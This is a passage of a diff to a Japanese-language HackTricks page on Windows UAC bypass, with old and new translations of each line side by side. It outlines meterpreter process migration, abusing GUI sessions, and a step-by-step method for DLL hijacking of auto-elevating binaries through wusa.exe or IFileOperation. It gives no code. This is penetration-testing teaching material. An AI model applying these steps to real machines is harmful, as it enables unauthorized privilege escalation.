ここで使用される**すべてのテクニック**は、被害者との**完全な対話型シェル**を必要とします一般的なnc.exeシェルでは十分ではありません
**meterpreter**セッションを使用して取得できます。**セッション**値が**1**に等しい**プロセス**に移行します。
**meterpreter**セッションを使用することができます。**セッション**値が**1**に等しい**プロセス**に移行します。
![](<../../.gitbook/assets/image (96).png>)
@ -176,7 +182,7 @@ Major Minor Build Revision
**GUIにアクセスできる場合、UACプロンプトを受け入れるだけで**バイパスする必要はありません。したがって、GUIにアクセスできるとUACをバイパスできます。
さらに、おそらくRDP経由で他の誰かが使用していたGUIセッションにアクセスできる場合、[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)のような管理者として実行される**ツール**がいくつか実行されている可能性があります。これにより、UACによる再度のプロンプトなしに、例えば**cmdを管理者として直接実行**することができます。これは少し**ステルス**です。
さらに、おそらくRDP経由で他の誰かが使用していたGUIセッションにアクセスできる場合、[**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)のような**管理者として実行されるツール**がいくつか実行されている可能性があります。これにより、UACによる再度のプロンプトなしに、例えば**cmdを管理者として直接実行**することができます。これは少し**ステルス**です。
### 騒々しいブルートフォースUACバイパス
@ -184,14 +190,14 @@ Major Minor Build Revision
### 独自のバイパス - 基本的なUACバイパスの方法論
**UACME**を見ると、**ほとんどのUACバイパスがDll Hijackingの脆弱性を悪用**していることに気付くでしょう主に悪意のあるdllを_C:\Windows\System32_に書き込む)。[Dll Hijackingの脆弱性を見つける方法については、こちらを読んでください](../windows-local-privilege-escalation/dll-hijacking.md)。
**UACME**を見ると、**ほとんどのUACバイパスがDllハイジャックの脆弱性**を悪用していることに気付くでしょう主に悪意のあるdllを_C:\Windows\System32_に書き込むこと)。[Dllハイジャックの脆弱性を見つける方法については、こちらを読んでください](../windows-local-privilege-escalation/dll-hijacking.md)。
1. **自動昇格**するバイナリを見つけます(実行時に高い完全性レベルで実行されることを確認します)。
2. procmonを使用して、**DLL Hijacking**に脆弱性のある**"NAME NOT FOUND"**イベントを見つけます。
1. **自動昇格**するバイナリを見つけます(実行されると高い完全性レベルで実行されることを確認します)。
2. procmonを使用して、**DLLハイジャック**の脆弱性に対して**NAME NOT FOUND**イベントを見つけます。
3. おそらく、書き込み権限がない**保護されたパス**C:\Windows\System32などにDLLを**書き込む**必要があるでしょう。これを回避するには、次の方法を使用できます。
1. **wusa.exe**Windows 7、8、および8.1。保護されたパス内にCABファイルの内容を抽出することができますこのツールは高い完全性レベルから実行されるため)。
1. **wusa.exe**Windows 7、8、および8.1。保護されたパス内にCABファイルの内容を抽出することができますこのツールは高い完全性レベルから実行されます)。
2. **IFileOperation**Windows 10。
4. 保護されたパスにDLLをコピーし、脆弱性のある自動昇格バイナリを実行するためのスクリプトを準備します。
4. バイナリを保護されたパスにDLLをコピーし、脆弱性のある自動昇格バイナリを実行するための**スクリプト**を準備します。
### 別のUACバイパスのテクニック
@ -199,7 +205,7 @@ Major Minor Build Revision
![](<../../.gitbook/assets/image (9) (1) (2).png>)
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**することができます。\
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -211,7 +217,7 @@ Major Minor Build Revision
* **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですかまたは、最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたりしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。**
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>